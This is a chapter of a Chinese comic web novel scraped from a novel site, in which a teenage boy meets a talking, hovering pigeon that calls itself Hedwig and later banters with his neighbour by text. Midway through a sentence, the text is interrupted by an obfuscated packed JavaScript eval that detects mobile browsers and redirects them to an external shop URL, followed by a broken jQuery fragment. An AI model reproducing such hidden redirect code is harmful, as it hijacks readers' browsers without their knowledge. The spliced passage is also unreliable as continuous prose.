文趣网 > 其他小说 > 众妙 > 1. 如梦令第一
    我做梦也没有想到,自己安安稳稳的十三年人生居然也会遇见灵异事件,十分后悔自己打开了那扇“潘多拉的魔窗”,以至于现在被迫和一只会说人话的鸽子大眼瞪小眼。

    昨天是中考的最后一天,一年来的考卷终于结束了,寒窗苦熬了三百多天,每日披星戴月,这下总算可以摆脱早六晚九的痛苦,正式开启等待成绩的惬意日子了,自入梅以来天气也第一次晴朗起来,这本是个顶好的日子,窗外微风拂过阳光正好,是个补眠的好时候。已经是早上八点,我才结束一夜的厮杀,正带着朦胧的睡意,关上电脑和衣而眠,预备大睡一觉,自初三开始我就没睡得这么晚过。

    才刚躺下就传来了窗外的杂音,咚咚咚咚响个不停,吵得人心烦意乱。好不容易这阵咚咚停下,才要沉醉在梦乡里,走廊里又传来嘶嘶嗡嗡的响动,像是机器轰鸣的声音。大早上的谁在外面施工啊,还让不让人睡觉了,我把头埋在被子里使劲捂住耳朵,烦躁地抱怨着,祈盼轰鸣声可以停止。可惜事与愿违,不但走廊里的嗡嗡不断就连窗外本已停下的咚咚声也重歌大风,简直就是两面夹击,分明不让人好好休息。扰人清梦可是有罪的,我蒙着头在床上辗转反侧了三分钟,还是无法抵御这烦躁的交响乐,只好带着满身的疲惫和一肚子的怒火反身下床,愤怒朝外面大喊一声“吵死了,让不让人睡觉了。”誓要将这声音的源头查个水落石出。

    一打开门就和路过的姆妈撞了个满怀,姆妈戴着口罩,手里拿着的吸尘器,正在走廊上搞卫生,被我吓了一跳,手里的吸尘器没拿稳,差点掉在地上,这吸尘器可是90年代的作品,算起来年纪比我都大,早就已经到了该退休的时候,我们常劝她再买个新的,姆妈却依旧舍不得,总是说再修修就好,外面那些花花绿绿的她也用不惯,就这样修修补补,虽然结实可声音着实太吵了,一开起来就隆隆地响个不停,为了不打扰我们休息姆妈从来都是等我们上课去才开始打扫房间,周末就更迟了,像今天这样大早上就开工实在罕见。“姆妈,今天怎么这么早你不好晚一点搞卫生吗?人家还在睡觉呢”我打了个哈欠,用手揉了揉眼睛,试图掩盖黑眼圈,半埋怨半撒娇道。姆妈抬头看了我一眼,立刻就注意到了我的黑眼圈,数落道:“这还早?太阳都晒屁股了,以往这个点你早就上学去了,叫你熬夜到这么晚,”边说话边进来,还不忘支使我去阳台开窗通风。我一边打着哈欠,敷衍着嗯嗯几声,一面摇摇晃晃过去打开了阳台的门。我的房间在四楼,阳台算是半开放式的,虽然有窗户但为了方便总是常年开着,除非是特大台风来临,平常通风多靠连接阳台和屋子的玻璃门。

    一靠近阳台,咚咚声更明显了,起初我还以为又是楼下在施工并没多在意,转眼却瞥见了惊恐的一幕,窗外居然有一只鸽子停在半空,正用鸟喙咚咚敲着阳台上的窗户,声音规律且持久,看上去不是无意识敲击,不时用爪子扒拉几下,抖抖羽毛,诡异的就像看恐怖片的场景。没听说过鸽子会停在半空中啊,

    我吓得大声喊姆妈,“有鸽子!”姆妈倒是很淡定,拖着地,头也不回道“有鸽子怎么了,又不是有蚊子,还值得你这么大惊小怪的,我上次可在你房间里看见一只蝙蝠呢。”那能一样吗,这可是只能悬停在半空中敲门的鸽子咚咚咚的,我刚想指着阳台的窗子给她看,一回头外面却空空如也,不但咚咚声消失了,就连半根羽毛也不曾见,仿佛那只鸽子从未出现过。这也太诡异了,我盯着窗外,喃喃道,“不应该啊,刚才明明还在的。”姆妈伸过头来瞄了一眼,果然什么也没发现,便大肆嘲笑了我一番,又趁机唠叨道“早叫你不要熬夜,熬夜伤身又伤脑,这下可好都出现幻觉了。”是这样吗?难道真是我看错了?我挠了挠头,不可置否。

    姆妈扫完了地,又替我理了理床铺,临走时还不忘嘱咐我把午餐吃掉。我心不在焉的答应着,好不容易送走了她,预备拉上窗帘重新回到被窝的怀抱时,下意识又瞥了眼阳台,却发现玻璃门前那只诡异的鸽子再次出现了,这次他倒没有再敲窗户了,只是叉着腰悬停在半空中,仿佛已经等待许久了,看得我是目瞪口呆,不由得走上前去,揉了揉眼睛想要确定眼前的画面真实度,那鸽子见我过来也不飞走,只扑腾了两下翅膀甚至还在空中炫耀似的翻了个跟头,快乐得朝我招着手,洁白的小脑袋在烈日的照射下耀眼得活像个秃头。我还以为是自己眼花了,揉了几下也没有什么变化,又掐了掐胳膊,除了感觉到一丝疼痛外并无异常,我还是那个我,鸽子还是那个鸽子,难道这真不是幻觉?又或者不是我的显示器坏了而是主板烧了难道我非得把自己打晕才能强制重启吗。就在我正打算掐着人中重启自己的程序时,门外那只鸽子见我久久没有动静,又不耐烦地敲起了玻璃门,一只鸽子为什么要用嘴敲门呢?

    “我本来还想翅膀的,这不是怕吓到你嘛,才改用的嘴。”

    “不是,用嘴敲门就不吓人了吗,分明更吓人好不好,”我随口答应道,突然意识到什么,不由得瞪大了眼睛“不对,你,你怎么会说话?”

    这只“秃头”鸽子居然伸出翅膀冲我打了个招呼,声音透过玻璃传进来出奇的清晰,“嗨,少年,看过哈利·波特吗?”

    “鬼啊”我被他吓得瘫在地上大叫道

    “我可不是鬼,鬼可不会大白天出来吓人。”说完还坏心眼地把翅膀像拳头一样地握起敲打,脸贴着玻璃,两只犹如红点般的眼睛在阳光下闪烁着诡异的光,试图证明自己的存在。

    它说得有道理,不是鬼,那就该是“妖怪啊”我再次瘫在地上鬼叫,哦不,是妖叫起来。

    “不是妖怪,是妖精啦”他双手叉腰,气愤地纠正道

    “这有啥区别”

    “当然有区别,妖怪是贬义词”

    “那妖精就不是贬义词了吗,你这个小妖精?”

    嘁,鸽子不理我,只挠了挠头,展翅往外飞出去几米,又转身快速俯冲过来,眼见它就要重重砸在玻璃上,吓得我“唰”一声就把窗帘关上了,我可是个良善人见不得血腥的惨烈,没想到它竟直接穿过窗户飞了进来,却一头撞进了窗帘里,好一阵扑腾这才找到出口。一见到我,就直冲面门袭来,吓得我下意识我举起胳膊生怕他要砸到我英俊的面容,好在它中途拐了个弯,一个漂亮的甩尾就稳稳地停在了书架上,总算没有造成悲剧,不然这世间又要少一位美男子了。

    那鸽子才在书桌上站稳,就揉着喙抱怨道,“关这么快干嘛,我的喙都被你撞歪了。”说完还抖了抖羽毛,又理了理它那油光锃亮又毛发浓密的光头,左边看看右边踢踢小声道:“什么破地方,谁选的怎么难找,我早就说办学校还是得找个交通发达的地方,否则就连人贩子都找不到地方拐小孩,还怎么让我诱骗纯情少年,诱骗无知儿童?”嘟嘟囔囔说了一串,我一时没听清,不由得问道“什么?”

    “没事”它随口糊弄过去,又悬在半空中,两腿趺立,双翅叉腰,雄赳赳气昂昂地俯视着,一脸神气道“嗨,好久不见。”才说出口又发觉自己口误了改口道“啊,不是,应该是初次见面。”又摆摆羽毛权当作打招呼,道“哈喽,愚蠢的人类,我来代表月亮消灭你们了。”说完也不用让人就径直飞向餐桌,一边飞,还一边问,“有吃的没有,飞了大老远快饿死我了,”十分的自来熟,不知道的以为过来蹭吃蹭喝了十多年似的,整一个行为艺术家。鸽大庆一面翻箱倒柜,大吃大嚼,几乎就是鬼子进村,扫荡三光;一面还要抱怨这家里真是什么都没有,全然不在意我一个人在门边张着大嘴,全身石化。

    小小的我此时充满了大大的疑惑,我一直觉得自己只是个普通人,既没有阴阳眼,也不会鬼上身,生平唯一见到会说话的非人生物,还是院长办公室里养的那一只巨大的五彩鹦鹉,总不至于突然开了天眼,居然在宿舍里看了见妖怪吧,这话要是说出去一定会被当成神经病,还是当场扭送七院的那种,于是只好用手指着那非人的生物假装害怕小声叫道“鸽,鸽子,会,会说人话的鸽子…”那鸽子在屋子里飞了一圈,无奈丁点食物的影子也没发现,想找吃的未遂,正犯饿呢,听见我这么说立刻没好气地反驳道:“这有什么大惊小怪的,这屋里不还站着一个会说人话的猴子吗?”顺道还模仿似的结结巴巴地对会说人话的猴子反复吟唱。我半天才意识到这是在说我,也立刻不爽了,什么叫会说话的猴子,人确实是猴子进化来的,但人可是高级生物,那我们和猴子比较有点气负猴子,哦不,人了吧,于是我壮着胆子反驳道“我是人,不是猴子”,是吗?它在房间里转了好一会儿才终于在我书桌缝隙里发现一包没开封的牛肉干,立刻进入狂欢模式斜靠在我的笔筒前,享用这来之不易的美食,一面又漫不经心地道“你怎么证明?”这有什么需要证明的?我只是觉得可笑,我是人,这不是显而易见的吗?“那可不一定,毕竟会说话的也不一定是猴子,也有可能是妖精。”妖精,我突然发现,眼前这只肥头大耳的生物好像就是妖怪吧,便小心翼翼问道:“你,你是妖怪吗?”鸽子的回答却让我一头雾水:“也算吧,不过我们一般自称自己是妖精。”这俩有什么区别吗?“当然有啦,妖怪的着力点在怪,是怪物;而妖精的着力点在精,是精灵,我们可是妖精不是妖怪。”鸽子说的时候特意在“精”、“怪”两个字上加重了语气,可惜我还是不理解,这两个不是一样的意思吗?“有什么区别吗?”鸽子被噎了一下,用翅膀打了我的头,没好气地道:“这还看不出来吗?傻子,妖怪是贬义词,妖精是褒义词啊,你语文怎么学的。”说完又用翅膀捋了捋脑袋上的毛,摆出了一个自以为帅的pose,用英文说了句,“Hey, I am Hedwig 。”我一时没听清问道,“什么什么,你是个什么痿的?”鸽子怒了,“你才是痿得嘞,老子是海德薇,有没有看过哈利·波特啊。”

    “看过,但没听出来,”我老实地表示鸽子的口音太重了,完全不像伦敦音,难道是郊区的?鸽子十分愤怒地跳上窗台,手舞足蹈地飙起了唐山话:“瞎说,我那可是标准的伦敦音,没有一点唐山味。你要是说我妖怪我就忍了,你居然敢说我是伦敦郊区的?这么标准的伦,敦,音你都听不出来?有没有学过英语啊!”我也很委屈,“哪有鸽子讲英文的,还是这么标准的唐山伦,敦,音,你以为你是赵丽蓉啊?而且人家海德薇明明是只猫头鹰,雪鸮,黑白配色的,体型有你五个大了。你可是只鸽子啊,无论是毛色还是物种都完全对不上,谁能知道你是海德薇,还是海明威,不过我倒觉得你比较像是海没薇,我要是能认得出就有鬼了,价格都不一样好吗。”这话鸽子就不爱听了“什么叫价格都不一样?我什么价格他什么价格?”他既然都自己问了我当然十分热心地帮他去查了查,道“雪鸮属于二级保护动物,禁止贩卖饲养,但是外国有得卖,平均一只幼鸟需要至少两万到五万。”我还特意把幼鸟二字咬得特别重,“菜市场鸽子一只大概15到25元。”我坏心眼地把菜市场三个字念得十分清楚,果然激怒了他,他跳上置物架嚷道“我说的是智慧,智慧!不是金钱你怎么能用如此庸俗的金钱来衡量人的价值呢?”可是金钱不也是衡量人的价值的一种尺度吗?“那是荒渺的尺度,人不应该用这些世俗功利的尺度来衡量自己的价值,真正应该被衡量的是人的灵魂、智慧与思想,一个人最宝贵的东西就是人的思想和灵魂这些都是无价的大学,就算衡量也该用这些尺度来衡量。每个人都有自己独特的思想和灵魂,从这点上来说人是无价的。”话说的确是慷慨激昂,可“你不是只鸽子吗?”

    啊也对,鸽子听了也不生气,反而挺起胸脯,仰起头来,骄傲地说,“确实,不过我可比世俗中的那只笨鸟聪明多了,瞧我这智慧的大脑,里面装的可都是知识啊;看这强壮的臂膀,浑身可都是肌肉啊。”

    “可我怎么只看见了‘智慧’的眼神和凌乱的翅膀呢?人家海德薇好歹也是个国家保护动物,你不过就是个家畜嘛,比什么?送信吗?”我在心理腹谤着,却又不敢说出口,只好道,“不要捧一踩一嘛,人家海德薇好歹还会送信,你也是只鸽子,你会送点什么呢?”鸽子听了这话便飞过来,揉了揉我的脸,轻轻说道,“我可是只仙鸽,能带来光明与幸福,带去圆满与永恒…”我被他蹂躏得眼斜鼻歪,喘不过

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17842461|211671||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    气来,只觉得他在故作神秘。

    正聊得起劲,手机却不合时宜的响起来,嘀嘀吵得人头疼,我下意识把他翻过去掐断,没一会有想不依不饶的嘀嘀嘀起来,任由人怎么左摁右翻也无济于事,依旧在顽强的嘀嘀嘀,连鸽子都有些于心不忍提醒我打开手机,手刚碰到桌沿便传来一阵嗡嗡声,吓得我手一滑差点掉到地上。打开一看,这会是短信,隔壁邻居传来的,“你在家吗?刚才敲你的门好像没人应。”

    敲门?我这才看了一眼门口,刚才忙着和鸽子斗嘴丝毫没有注意到敲门声。我一边用余光瞟着鸽子的动静,一边两手飞快的打字:“才睡下,没听见,你有什么事?”

    没一会儿他就回复道“啊,姆妈刚走了,中午饭放在厨房了,她说出去和小姐妹逛街,问我们晚上想吃点什么?”

    “什么都行,只要不是鸡汤。姆妈最近也不知是听了谁的谗言,热衷于煲鸡汤,听说鸡汤可以美容养颜,滋气健脑,陶冶情操等等,有着种种好处,这几天不断从山里乡间搜刮出各种黑的黄的白的红的土鸡,再佐以什么黄芪枸杞之类的药材香料,还得在砂锅里连炖上七七四十九分钟才算完,就算再有好处也不能天天吃啊,这几天吃得我都觉得被鸡腌入味了,连考试写个作文也是满身的鸡汤味,短时间我真的不想再看见鸡汤以及鸡汤文了。”

    他也同意道“我也快吃吐了,正好这几天赶上过端午,可惜大家都忙,也就在门边放了一把菖蒲权当是过完了。现在考试结束,是该好好庆祝庆祝,姆妈说晚上买点五黄回来烧,权当补过端午了。”紧接着又话锋一转道“对了,今晚有空吗?我搞到好东西了,一起来玩?”

    “好东西,”一听到这三个字我立刻精神了起来,浑身的血液都燃烧了起来,这三个字从他嘴里说出来可不容易,他这人不大出门日常生活的主要乐趣都和电脑有关,算得上是博览群书,嘴被养得可刁了,一般东西他可看不上眼,顶多也就是还不错之类的评价,好东西这个词我可有段时间没从他嘴里听见了。

    “好啊,好啊,”激动的心,躁动的手,鸽子的羁绊已经无法阻止我跃跃欲乐的心情了。

    “那你记得早点过来,我等你哦”刚想忘记拿白毛生物他却不知何时凑过来,冲着手机小声读道。会说话也就算了,没想到这鸽子居然还识字,没等我感叹,那白毛生物又故意发出怪声学着不知道哪里看来的甜腻道,“我等你哦你女朋友啊?”我看了一眼隔壁,摇头道,“不是,那是我邻居。”

    “邻居邻居,玲玲,同居!这还不是女朋友,”他贱兮兮地大声说道,还飞在我头顶上盘旋了一圈又一圈,“没事,我不会去打小报告的。”

    “胡扯什么呢,”我简直要被气笑了,瞅准他盘旋的位置,站起来,以肘代针冲他中脘狠狠桶了一下,替他调理调理虚火的脾胃,再化眼为刀朝他面门急速刮去,好好帮他重塑了一下过薄的颧髎。“都说了不是女朋友了,我邻居不是男的,难道还是女的?”

    那畜生冷不丁被我一吓,从天上掉下来,选了个舒服的地方趴着,捂着肚子,龇牙咧嘴却又笑嘻嘻道,“谁知道你是不是金屋藏娇,”还非要凑过来看看他“未来的弟妹”长得怎么样,漂不漂亮,怎么赶也不走。

    且不说弟妹这个称呼是怎么得出来的,这畜生怎么看也没我大啊,就说金屋藏娇吧,谁家把隔壁邻居当金屋啊,还藏娇藏到哪里去?

    “那可不一定,老王不就住在隔壁吗?”又装作恍然大悟的样子道“原来你就是隔壁老王,吧。”

    我深刻怀疑他在骂我,只得一脸无奈看着他,“你是真的这么觉得还是在开玩笑,我长得很好看吗?”他听了这话却坐直了身子上下打量我一番语气沉重道“你是要我说实话吗?”我有一种不好的预感,忙摇摇头“还是说假话吧”

    他神情严肃看着我道“说假话的话,不怎么样。”

    “那说真话呢?”

    “真不怎么样。”

    “…”我就知道,这种时候你开什么玩笑啊,“真不怎么样吗?”我有些不死心问道,他用力点了点头,又急忙摇摇头,道“其实你长得不算太丑,一个鼻子两只眼,两只耳朵一张嘴,勉强符合五官端正这一中考基础条件,比那些歪瓜裂枣还是强不少的。”

    废话谁不是一个鼻子两只眼,两只耳朵一张嘴,难道帅哥多长一只眼还是少长一张嘴啊,再说了“就算不帅我至少也是普通人把一般的出生,一般的长大,一般的成绩一般的能力,普通的吃喝普通的拉撒,普通的上学普通的考试,连身高也是1.65成绩算不上好也不算差,之前三模两个班100人里还排到了第75名呢。”

    “这算是普通吗?”眼见我有些气急败坏,大掌又要冲他印堂而去,连忙改口道:“其实还好,你确实算是普通人。”

    “就是嘛,我也知道我一向很普通,十几年的岁月里一直按部就班,相貌也普通得不能再普通了,”接着我话锋一转咄咄逼人道“所以啊,我要才没才,要貌没貌,你是怎么觉得我能有女朋友的还是漂亮的女朋友?”

    他没想到我这么说,一时有些语塞,支支吾吾道:“也不至于,抽卡还有保底呢,谁说老实人不能有漂亮女朋友了?”

    “那也得有的自知之明吧,你也不想想人家也不傻,谁不想选一个建模好看又数值逆天的?我现在属于是建模数值双差,就算隔壁真的住着一个漂亮女朋友也轮不上我吧。”

    “也不一定啊,网上不是有个家伙颜值数值双差的吗?那长相还不如你呢,人家不但经常换女友,还每天都有漂亮小姐姐追着他要生猴子吗?”

    “那是人家有钱,你也不看他爹是谁,你要是也有个好爹,你上你也行。”

    “那你就不能找个不物质的吗,”

    “你这说的是人话吗?人家女孩又不傻,谁会想要一张双值残缺的n卡,拿来干嘛?纯返魂吗?就像你是打算傍富婆还是娶凤姐?这还要我说吗?一分钱不出就想得SSR哪有这么好的事,我可没你怎么有自信。”

    它也点了点头,突然反应过来大叫道“等等,你说谁普信呢?”